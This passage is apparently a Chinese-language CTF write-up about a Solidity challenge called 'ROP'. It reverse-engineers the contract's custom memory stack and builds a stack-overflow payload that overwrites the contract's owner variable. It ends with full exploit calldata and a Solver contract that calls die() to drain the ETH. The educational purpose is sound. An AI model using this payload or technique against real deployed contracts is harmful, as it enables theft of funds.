}
}
function copy_data() private {
while (get_stack(0) - get_stack(1) != 0) {
uint temp0 = get_stack(0);
uint temp2 = get_stack(2);
uint temp3 = get_stack(3);
assembly {
let temp_val := div(mload(temp0+temp3), 0x100000000000000000000000000000000000000000000000000000000000000)
let temp_key := add(temp0, temp2)
mstore8(temp_key, temp_val)
mstore(mload(0x100), add(temp0, 0x01))
}
}
}
function get_stack(uint i) private returns (uint256 value){
//helper M[M[0x100+0x20*i]]
assembly {
let temp := mload(0x100)
let temp2 := sub(temp, mul(0x20, i))
value := mload(temp2)
}
}
:cry:要理解这个函数再干嘛,就需要先理解其中的copy_data和pad_data在干什么。以及调用这个函数前的堆栈的结构是怎样的。
0x00 | 0x200 | get_stack(0) |
---|---|---|
size-0x44 | 0x1e0 | get_stack(1) |
0x0120 | 0x1c0 | get_stack(2) |
0x90000 | 0x1a0 | get_stack(3) |
return pointer | 0x180 | get_stack(4) |
stack frme 0x7909947a() | 0x160 | get_stack(5) |
0x00 | 0x140 | get_stack(6) |
0x00 | 0x120 | get_stack(7) |
copydata的作用是,逐个字节的从内存位置90000处拷贝数据到栈底处,因为栈底保留了0x40个字节的空位给它。
paddata的作用是,给copyadata后,0x120后拷贝的部份数据尾巴长度不足0x40的部分给他填0。比如如果是数据尾巴在0x36,则再补充4个字节的0补齐到0x40, 如果是0x76,则也是补齐4个字节的0到0x80.
则该函数的主要作用是把数据拷贝到栈底处,并规范格式。然后退出。
由于基本上所有函数都逆向出来了,现在我们可以整理下整个合约,看下整体的合约逻辑
pragma solidity ^0.5.0;
contract ROP {
address _get;
address _die;
constructor(address get_, address die_) public payable {
_get = get_;
_die = die_;
}
function die() public payable {
require(msg.sender == _die);
selfdestruct(_die);
}
function get() public {
require(msg.sender != _get);
return _get;
}
function() public payable {
revert();
}
modifier nonPayable() {
require(msg.value == 0);
_;
}
function push_stack_frame() private {
uint256 value;
assembly{
value := mload(0x100)
}
push_stack(value)
}
function push_stack(uint256 value) private {
uint temp;
assembly{
temp := mload(0x100)
mstore(add(temp, 0x20), value)
mstore(0x100, add(temp, 0x20))
}
}
function set_impl() private{
uint temp0;
uint temp1
assembly{
temp0 := mload(0x100) //M[100]
temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
sstore(mload(temp0), temp1)
}
pop_stack();
pop_stack();
pop_stack_frame();
}
function pop_stack_frame() private {
int redirectTo;
int pointer;
redirectTo = pop_stack();
pointer = pop_stack();
newStackPointer(pointer);
// assembly {
// jump(redirectTo)
// }
return;
}
function stack_pointer_init() private {
assembly{
mstore(0x100, 0x100)
}
}
function pad_data() private {
while (get_stack(0) % 0x40 != 0) {
uint temp0 = get_stack(0);
uint temp2 = get_stack(2);
assembly {
mstore(temp0+temp2, 0x00)
mstore(mload(0x100), add(temp0, 0x01))
}
}
}
function copy_data() private {
while (get_stack(0) - get_stack(1) != 0) {
uint temp0 = get_stack(0);
uint temp2 = get_stack(2);
uint temp3 = get_stack(3);
assembly {
let temp_val := div(mload(temp0+temp3), 0x100000000000000000000000000000000000000000000000000000000000000)
let temp_key := add(temp0, temp2)
mstore8(temp_key, temp_val)
mstore(mload(0x100), add(temp0, 0x01))
}
}
}
function get_stack(uint i) private returns (uint256 value){
//helper M[M[0x100+0x20*i]]
assembly {
let temp := mload(0x100)
let temp2 := sub(temp, mul(0x20, i))
value := mload(temp2)
}
}
function 0x7909947a_impl() private {
push_stack(0x0);
copy_data();
uint temp = get_stack(0) + get_stack(2);
assembly{
mstore(temp, 0x00)
}
pad_data();
pop_stack();
pop_stack();
pop_stack();
pop_stack();
pop_stack_frame();
}
function set(uint256 value) public nonPayable{
push_stack_frame();
uint redirectTo = 0x344;
push_stack(redirectTo);
uint256 newStackPointer;
assembly{
newStackPointer := calldataload(0x04)
}
push_stack(newStackPointer);
push_stack(0x00);
set_impl();
}
function 0x7909947a() public {
stack_pointer_init();
push_stack(0x0);
uint topPointer;
assembly{
topPointer := mload(0x100)
}
push_stack(0x0);
uint size;
assembly {
size := calldatasize()
calldatacopy(0x90000, 0x44, size)
}
push_stack_frame();
uint return_pointer = 0x29b;
push_stack(return_pointer);
push_stack(0x90000);
push_stack(topPointer);
push_stack(size-0x44);
0x7909947a_impl();
}
}
合约逆向出来了,但是我们的问题还是存在,如何从合约中拿到它所有的ETH呢?
思路很直接,肯定是利用die函数,但是die函数要求msg.sender == die_
, 因此需要重写全局变量die_
的值。又发现唯一一个能写全局变量的值的函数是set_impl()
.分析set_impl()
函数,其实质是将get_stack(1)
的值写入get_stack(0)
处。故我们需要构造一个stack,使得get_stack(0)==0x20 & get_stack(1) == tx.origin
以及为了使用pop_stack_frame()
函数,需要保证一个返回位点位于get_stack(3)==return gadget
同时我们再之前的逆向过程中,也发现我们能够利用的唯有0x7909967a
函数,传入data,然后再内部调用0x7909947a_impl()
函数来利用栈溢出这一bug来重写栈。从而重新定义执行逻辑。由于再0x7909947a_impl()
函数中,拷贝数据的逻辑由copydata
确定。故我们需要根据copydata
的逻辑来构造我们的data数据。
0x260 | 0x20 | |
---|---|---|
0x240 | address(msg.sender) | |
0x220 | return point (0x344) | |
0x00 | 0x200 | 0xff (当前拷贝的值的位置,offset) |
size-0x44 | 0x1e0 | 0x0140 |
0x0120 | 0x1c0 | 0x0120 |
0x90000 | 0x1a0 | 0x090000 |
return pointer | 0x180 | 0x2ea |
stack frame 0x7909947a() | 0x160 | 0x90140 |
0x00 | 0x140 | 0x00000000.. |
0x00 | 0x120 | 0x00000000.. |
构造这个stack时,需要仔细理解copydata的逻辑,它是逐个字节的从内存位置90000处拷贝数据到栈底处,因为栈底保留了0x40个字节的空位给它。由于最开始开始拷贝的时候,get_stack(0) = 0x00, 故他会从我们构造好的栈底开始拷贝数据到0x120中,一直拷贝,知道get_stack(0)处,由于这个位置的数据代表的就是当前拷贝的数据数量,故拷贝值到这个位置时,需要与正确的拷贝数据值相吻合,故计算得出此时已有8个字节的数据拷贝进入,故此处应该是0xff.
第二个关键点是:我构造了栈,但是怎么保证栈顶的指针指向正确呢?也是再copydata中定义了,mstore(mload(0x100), add(temp0, 0x01))
这句话就在不断地更新栈顶的指针,从而使得我们构造的栈也是可以正确使用的。
function copy_data() private {
while (get_stack(0) - get_stack(1) != 0) {
uint temp0 = get_stack(0);
uint temp2 = get_stack(2);
uint temp3 = get_stack(3);
assembly {
let temp_val := div(mload(temp0+temp3), 0x0100000000000000000000000000000000000000000000000000000000000000)
let temp_key := add(temp0, temp2)
mstore8(temp_key, temp_val)
mstore(mload(0x100), add(temp0, 0x01))
}
}
}
所以构造的数据为:此时还需要加上前面被略去的0x44个字节
7909947a
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000 => 0x120
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000090140
00000000000000000000000000000000000000000000000000000000000002ea
0000000000000000000000000000000000000000000000000000000000090000
0000000000000000000000000000000000000000000000000000000000000120
0000000000000000000000000000000000000000000000000000000000000140
00000000000000000000000000000000000000000000000000000000000000ff
0000000000000000000000000000000000000000000000000000000000000344
0000000000000000000000003331B3Ef4F70Ed428b7978B41DAB353Ca610D938
0000000000000000000000000000000000000000000000000000000000000020 => 0x260
好的,我们再验证一下这个数据是否能够按照我们设想的那样工作:
function 0x7909947a_impl() private {
push_stack(0x0);
copy_data();
uint temp = get_stack(0) + get_stack(2);
assembly{
mstore(temp, 0x00)
}
pad_data();
pop_stack();
pop_stack();
pop_stack();
pop_stack();
pop_stack_frame();
}
经过copydata, 之后跳过pad_data部分,弹出4个,进入到pop_stack_frame()
中,此时的栈结构为:
size-0x44 | 0x1e0 | 0x0140 |
---|---|---|
0x0120 | 0x1c0 | 0x0120 |
0x90000 | 0x1a0 | 0x090000 |
return pointer | 0x180 | 0x2ea |
stack frame 0x7909947a() | 0x160 | 0x90140 |
0x00 | 0x140 | 0x00000000.. |
0x00 | 0x120 | 0x00000000.. |
然后再经过pop_stack_frame()
后,栈的结构变为:
function pop_stack_frame() private {
int redirectTo;
int pointer;
redirectTo = pop_stack();
pointer = pop_stack();
newStackPointer(pointer);
assembly {
jump(redirectTo)
}
//return;
}
get_stack(0) | 90140 | 0x20 |
---|---|---|
get_stack(1) | 90120 | address(msg.sender) |
get_stack(2) | 90100 | return point (0x344) |
同时函数跳转到0x2ea位置处,即set_impl()
处,此刻即构造成功了我们需要的栈。
function set_impl() private{
uint temp0;
uint temp1
assembly{
temp0 := mload(0x100) //M[100]
temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
sstore(mload(temp0), temp1)
}
pop_stack();
pop_stack();
pop_stack_frame();
}
由此,我们最后的解决方案如下:
//data = 0x7909947a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009014000000000000000000000000000000000000000000000000000000000000002ea00000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000ff00000000000000000000000000000000000000000000000000000000000003440000000000000000000000003331B3Ef4F70Ed428b7978B41DAB353Ca610D9380000000000000000000000000000000000000000000000000000000000000020
pragma solidity ^0.5.0;
contract Target {
function get()public returns (address) ;
function set(uint a) public;
function die() public;
}
contract Solver {
constructor(bytes memory data) public payable {
(bool result, ) = address(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).call(data);
require(result);
Target(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).die();
require(address(this).balance > 0);
selfdestruct(msg.sender);
}
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!